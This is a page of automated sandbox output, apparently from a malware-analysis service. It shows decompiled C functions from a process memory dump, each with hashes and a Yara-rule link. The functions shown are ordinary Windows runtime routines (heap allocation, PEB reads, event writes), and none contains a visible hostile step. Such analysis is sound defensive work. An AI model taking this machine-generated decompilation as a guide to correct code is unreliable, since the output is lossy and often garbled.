0x02df8fd6

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2dd0f85d0ded202e763f53f9842da00a24ed4c31ff63d19d756bb8f041aa657
Instruction ID: 8e7eee5bcff1bdd2e475b7c31f1c55c2a6b4eb96a62fc611dd9d079cc53328ca
Opcode Fuzzy Hash: f2dd0f85d0ded202e763f53f9842da00a24ed4c31ff63d19d756bb8f041aa657
Instruction Fuzzy Hash: 8B014474A0020DAFDB00DFA8D545AAEB7F5EF08300F514459B905EB381DB74DE00DB95

Uniqueness

Uniqueness Score: -1.00%

Function 02DE131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E02DE131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x2e1d360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E02D47D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x02de131b
0x02de132a
0x02de1330
0x02de1336
0x02de133e
0x02de1341
0x02de1344
0x02de134f
0x02de1361
0x02de1351
0x02de135a
0x02de135a
0x02de136c
0x02de136d
0x02de136f
0x02de1374
0x02de1387

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9311d3d95649600255116a1480986783025ad9943d6ede274708cd4dc5e8df43
Instruction ID: 9558d0183b06e4e46239514d1f5dd8d96d0166d0274835a15f0976307adb4925
Opcode Fuzzy Hash: 9311d3d95649600255116a1480986783025ad9943d6ede274708cd4dc5e8df43
Instruction Fuzzy Hash: 2A013C71A01248AFCB04EFA9D545AAEB7F4FF08700F50806AB855EB381EA74DE00CB54

Uniqueness

Uniqueness Score: -1.00%

Function 02D4C577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D4C577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E02D4C5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x2d011cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
					if(__eflags != 0) {
						L10:
						E02DF88F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags == 0) {
						goto L10;
					}
					goto L9;
				} else {
					return 1;
				}
			}

0x02d4c577
0x02d4c57d
0x02d4c581
0x02d4c5b5
0x02d4c5b9
0x02d4c5ce
0x02d4c5ce
0x02d4c5ca
0x00000000
0x02d4c5ca
0x02d4c5c4
0x02d4c5c8
0x00000000
0x00000000
0x00000000
0x02d4c5ad
0x00000000
0x02d4c5af

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ce37c4b908538e45af222022a732e7e365af04251f20c7cdf55c60896602651
Instruction ID: f5d3824e8acc2da6e39882f6eba598f2fa67e5b53d6a232232044f398bc13522
Opcode Fuzzy Hash: 9ce37c4b908538e45af222022a732e7e365af04251f20c7cdf55c60896602651
Instruction Fuzzy Hash: FDF0E2B29376D09FD735C728C044B2A7FE89B05774F4584A7D44A87351EFA4DC80CA51

Uniqueness

Uniqueness Score: -1.00%

Function 02D6927A, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E02D6927A(void* __ecx) {
				signed int _t11;
				void* _t14;

				_t11 = L02D44620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x98);
				if(_t11 != 0) {
					E02D6FA60(_t11, 0, 0x98);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					 *(_t11 + 0x1c) =  *(_t11 + 0x1c) & 0x00000000;
					 *((intOrPtr*)(_t11 + 0x24)) = 1;
					E02D692C6(_t11, _t14);
				}
				return _t11;
			}

0x02d69295
0x02d69299
0x02d6929f
0x02d692aa
0x02d692ad
0x02d692ae
0x02d692af
0x02d692b0
0x02d692b4
0x02d692bb
0x02d692bb
0x02d692c5

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction ID: 9be757fb17917c86b329b8f2f2a576e2cd3beaccfffdd37bbe9f435af3ec6f64
Opcode Fuzzy Hash: fb98b62dac83db7e13ee253788b92f70b835eb404f2827a387eedf494df67516
Instruction Fuzzy Hash: 42E0E5322405406BD7119F05DC84B63365AEF86720F004078B5001E342CAF6DC098BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02DE2073, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E02DE2073(void* __ebx, void* __ecx, void* __edi, void* __eflags) {
				void* __esi;
				signed char _t3;
				signed char _t7;
				void* _t19;

				_t17 = __ecx;
				_t3 = E02DDFD22(__ecx);
				_t19 =  *0x2e1849c - _t3; // 0x0
				if(_t19 == 0) {
					__eflags = _t17 -  *0x2e18748; // 0x0
					if(__eflags <= 0) {
						E02DE1C06();
						_t3 =  *((intOrPtr*)( *[fs:0x30] + 2));
						__eflags = _t3;
						if(_t3 != 0) {
							L5:
							__eflags =  *0x2e18724 & 0x00000004;
							if(( *0x2e18724 & 0x00000004) == 0) {
								asm("int3");
								return _t3;
							}
						} else {
							_t3 =  *0x7ffe02d4 & 0x00000003;
							__eflags = _t3 - 3;
							if(_t3 == 3) {
								goto L5;
							}
						}
					}
					return _t3;
				} else {
					_t7 =  *0x2e18724; // 0x0
					return E02DD8DF1(__ebx, 0xc0000374, 0x2e15890, __edi, __ecx,  !_t7 >> 0x00000002 & 0x00000001,  !_t7 >> 0x00000002 & 0x00000001);
				}
			}

0x02de2076
0x02de2078
0x02de207d
0x02de2083
0x02de20a4
0x02de20aa
0x02de20ac
0x02de20b7
0x02de20ba
0x02de20bc
0x02de20c9
0x02de20c9
0x02de20d0
0x02de20d2
0x00000000
0x02de20d2
0x02de20be
0x02de20c3
0x02de20c5
0x02de20c7
0x00000000
0x00000000
0x02de20c7
0x02de20bc
0x02de20d4
0x02de2085
0x02de2085
0x02de20a3
0x02de20a3

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a443f9954eacff5ab214502b067b6ba0d82864552424e4426a371f8206035cfe
Instruction ID: 49c109aa93d681dd0e5a8364484c90408e6a322d61d7314a0da853398c948b70
Opcode Fuzzy Hash: a443f9954eacff5ab214502b067b6ba0d82864552424e4426a371f8206035cfe
Instruction Fuzzy Hash: 83F027368915844FEE36BF2560053D12BA9DB85310FA91851EC5297788CA348CD3DE20

Uniqueness

Uniqueness Score: -1.00%

Function 02DF8D34, Relevance: .0, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E02DF8D34(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				short _v42;
				char _v48;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t26;

				_t23 = __edx;
				_v8 =  *0x2e1d360 ^ _t26;
				_v16 = __ecx;
				_v42 = 0x1c2b;
				_v12 = __edx;
				if(E02D47D50() == 0) {
					_t12 = 0x7ffe0386;
				} else {
					_t12 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v48);
				_push(8);
				_push(0x20402);
				_push( *_t12 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t18, _v8 ^ _t26, _t23, _t24, _t25);
			}

0x02df8d34
0x02df8d43
0x02df8d4b
0x02df8d4e
0x02df8d52
0x02df8d5c
0x02df8d6e
0x02df8d5e
0x02df8d67
0x02df8d67
0x02df8d79
0x02df8d7a
0x02df8d7c
0x02df8d81
0x02df8d94

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c41b60de3b4cef29e0bbe35a42273c62e6dbeeb39429a4efc6d8d305516e608
Instruction ID: a2f7c434876f7cc5a31645962a554260ee60a7578001db9722fa93c2d2807d68
Opcode Fuzzy Hash: 7c41b60de3b4cef29e0bbe35a42273c62e6dbeeb39429a4efc6d8d305516e608
Instruction Fuzzy Hash: 7AF0B470E446089FD704EFB8D845B6EB7B4EF14300F508499E905EB380DA34DD00CB64

Uniqueness

Uniqueness Score: -1.00%

Function 02DF8B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E02DF8B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x2e1d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E02D47D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x02df8b67
0x02df8b6f
0x02df8b72
0x02df8b7d
0x02df8b8f
0x02df8b7f
0x02df8b88
0x02df8b88
0x02df8b9a
0x02df8b9b
0x02df8b9d
0x02df8ba2
0x02df8bb5

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75a58d016771cf87d207cce3d2bdcb8253b7f5ebf4544b5415ebaf6d66d5fd0d
Instruction ID: d220723a90636a8b8aada991532e2e625f70946122bb483ea626f71df259a667
Opcode Fuzzy Hash: 75a58d016771cf87d207cce3d2bdcb8253b7f5ebf4544b5415ebaf6d66d5fd0d
Instruction Fuzzy Hash: 14F082B0A54258ABDB00EFA8D906E7EB3B4EF04304F440459BA05EB3C0EB74DD00CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 02D24F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D24F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E02DF88F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E02D4C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x2d01030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x02d24f2e
0x02d24f34
0x02d24f38
0x02d80b85
0x02d80b85
0x02d80b89
0x02d80b9a
0x02d80b9a
0x02d80b9f
0x00000000
0x02d80b9f
0x02d80b94
0x02d80b98
0x00000000
0x00000000
0x00000000
0x02d80b98
0x02d24f3e
0x02d24f48
0x00000000
0x02d24f6e
0x00000000
0x02d24f70

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d73e2812506d2825c7f731528832881dce7d8bba42533a16be54f87ce289986
Instruction ID: bd694de9bcfcfa07a3d137df5e4a23f3051c05714268de2f7d5a54b20b6dd993
Opcode Fuzzy Hash: 9d73e2812506d2825c7f731528832881dce7d8bba42533a16be54f87ce289986
Instruction Fuzzy Hash: 89F0E2325226948FD771E719C180B22B7D8EB007B9F054475D40587B20E724FC48C650

Uniqueness

Uniqueness Score: -1.00%

Function 02DF8CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E02DF8CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x2e1d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E02D47D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E02D6B640(E02D69AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x02df8ce5
0x02df8ced
0x02df8cf0
0x02df8cfb
0x02df8d0d
0x02df8cfd
0x02df8d06
0x02df8d06
0x02df8d18
0x02df8d19
0x02df8d1b
0x02df8d20
0x02df8d33

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cdc3807759fb0e22beae59388574b15d78331a0d100dfb20ffa2196d5fd975
Instruction ID: 4363c6e512309b0a42d5dd2f4d987b432f404ffec537c53548abe27850d60819
Opcode Fuzzy Hash: 35cdc3807759fb0e22beae59388574b15d78331a0d100dfb20ffa2196d5fd975
Instruction Fuzzy Hash: 79F0E270A04248AFDB00DFA8D845EAEB7B4EF08300F100199E911EB3C0EA34DD00CB68

Uniqueness

Uniqueness Score: -1.00%

Function 02D4746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E02D4746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E02D3EB70(__ecx, 0x2e179a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E02D695D0();
							L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x02d4746d
0x02d4746d
0x02d4746d
0x02d47471
0x02d47488
0x02d8f92d
0x02d4748e
0x02d47491
0x02d47495
0x02d8f937
0x02d8f93a
0x02d8f94e
0x02d8f953
0x02d8f956
0x02d8f956
0x02d47495
0x00000000
0x02d47488
0x02d47473
0x02d47478
0x02d4747d
0x02d47481
0x00000000
0x02d47481
0x02d4747d
0x02d4747a
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f30026f33b16619c6518e1078df04591ddf0a45781a2404055cfbc8cff7d3df0
Instruction ID: 321e5c8a03c84ec01b284b6f90f584ba403f0a288102356f01bbee45c418fdf9
Opcode Fuzzy Hash: f30026f33b16619c6518e1078df04591ddf0a45781a2404055cfbc8cff7d3df0
Instruction Fuzzy Hash: 94F0BE38D00144ABEF12AB68C840BB9FBA2AF04714F850625D899AB3A0EB24DC00CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02D2F358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E02D2F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E02D5F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L02D44620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x02d2f35d
0x02d2f361
0x02d2f367
0x02d2f372
0x02d2f38c
0x02d2f38c
0x02d2f394

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: a05149d61a378db521e63f18fdba644ab346b42e3d6408fd7edd5cb88b893dea
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: 01E06832A00128BFDB20A7C88E01F9ABBBDDB44B60F000491F904D7650C5649D00C6D0

Uniqueness

Uniqueness Score: -1.00%

Function 02D3FF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D3FF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x2d011a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E02DF88F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E02D40050(_t14);
				}
			}

0x02d3ff66
0x02d3ff6b
0x00000000
0x02d3ff8f
0x00000000
0x02d3ff8f

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8637e129eac778f166b0b735668ad47644f966f903b6360a2e4edd5bf76a8388
Instruction ID: 6e0b25ee51cf0c4453cc1402a76cba48d203e147cab39148bea3cd8f9882c7a5
Opcode Fuzzy Hash: 8637e129eac778f166b0b735668ad47644f966f903b6360a2e4edd5bf76a8388
Instruction Fuzzy Hash: DBE0DFB0A052489FD73ADB51D180F273798DB42721F1A805DE808CBB81C721EC88C61A

Uniqueness

Uniqueness Score: -1.00%

Function 02DDD380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02DDD380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L02D2E8B0(__ecx, _a4, 0xfff);
					L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x02ddd38a
0x02ddd39b
0x02ddd3b1
0x00000000
0x02ddd3b6
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: d175233c4e482c64c3a6e048cd0f1a21aa93c089c90fcfc8768f5cf3909ef7ea
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 5FE0C232280614BBEF225E44CC00F69BB17EB507A0F104031FE889A790CA71EC91DAE4

Uniqueness

Uniqueness Score: -1.00%

Function 02DB41E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E02DB41E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x2e008f0);
				_t5 = E02D7D08C(__ebx, __edi, __esi);
				if( *0x2e187ec == 0) {
					E02D3EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x2e187ec == 0) {
						 *0x2e187f0 = 0x2e187ec;
						 *0x2e187ec = 0x2e187ec;
						 *0x2e187e8 = 0x2e187e4;
						 *0x2e187e4 = 0x2e187e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L02DB4248();
				}
				return E02D7D0D1(_t5);
			}

0x02db41e8
0x02db41ea
0x02db41ef
0x02db41fb
0x02db4206
0x02db420b
0x02db4216
0x02db421d
0x02db4222
0x02db422c
0x02db4231
0x02db4231
0x02db4236
0x02db423d
0x02db423d
0x02db4247

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e79895d1ab710253812b07273bfb00dc643b26abccb6e3c1ba4f58b5fdce40a
Instruction ID: 2577bc7ddfdd0058d0ee981850e48ab124d96474eb476b48843e35d5b68d18ca
Opcode Fuzzy Hash: 9e79895d1ab710253812b07273bfb00dc643b26abccb6e3c1ba4f58b5fdce40a
Instruction Fuzzy Hash: 9FF01574CD0700CEEBA1EFAAD52075436A5FF44711F909A3A9101C7385D73448D1DF21

Uniqueness

Uniqueness Score: -1.00%

Function 02D5A185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D5A185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x2e167e4 >= 0xa) {
					if(_t5 < 0x2e16800 || _t5 >= 0x2e16900) {
						return L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E02D40010(0x2e167e0, _t5);
				}
			}

0x02d5a190
0x02d5a1a6
0x02d5a1c2
0x00000000
0x00000000
0x00000000
0x02d5a192
0x02d5a192
0x02d5a19f
0x02d5a19f

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a4ac31e325de4a8f595816334ddd85aca573654d6f9a245c3ca3424888476cb
Instruction ID: 26e7d8f01a0cecd2a171dcbd11eb39e82db866009f3dc74af147e027831b5c2d
Opcode Fuzzy Hash: 2a4ac31e325de4a8f595816334ddd85aca573654d6f9a245c3ca3424888476cb
Instruction Fuzzy Hash: C0D05E721E10205BDF2D6B209955F2A239BEB84714F30A92DE2074EBA4DEA09CE5D558

Uniqueness

Uniqueness Score: -1.00%

Function 02D516E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D516E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E02D51710(0x2e167e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L02D44620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x02d516e8
0x02d516ef
0x02d516f3
0x02d516fe
0x00000000
0x02d51700
0x02d5170d
0x02d5170d
0x02d516f2
0x02d516f2
0x02d516f2
0x02d516f2

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 438ee7d02299bf06b7f2b98257535d68a3c27d3f0d7d921cdfe863e9d6507eaf
Instruction ID: ae5a2c4ff5fcca4fa008c2d6c162f4bce06a4e09c152184517e9a9e6ff1bf1d8
Opcode Fuzzy Hash: 438ee7d02299bf06b7f2b98257535d68a3c27d3f0d7d921cdfe863e9d6507eaf
Instruction Fuzzy Hash: 04D0A73114018093DE2D5B149804B152296EB80785F38006CF50F496C0CFE0CC92E858

Uniqueness

Uniqueness Score: -1.00%

Function 02D3AAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D3AAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x02d3aab6
0x02d3aabb
0x02d8a442
0x00000000
0x02d8a448
0x02d8a454
0x02d8a454
0x02d3aac1
0x02d3aac1
0x02d3aac6
0x02d3aac6

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 90b63b4c681e21c40ba1df4d63fb11bccd7c0f433874100b556e3443ce99a645
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 89D0E935352980CFD617DB1DC554B1573A4FB44B44FC50490E945CB761E76DDD44CA00

Uniqueness

Uniqueness Score: -1.00%

Function 02D535A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D535A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
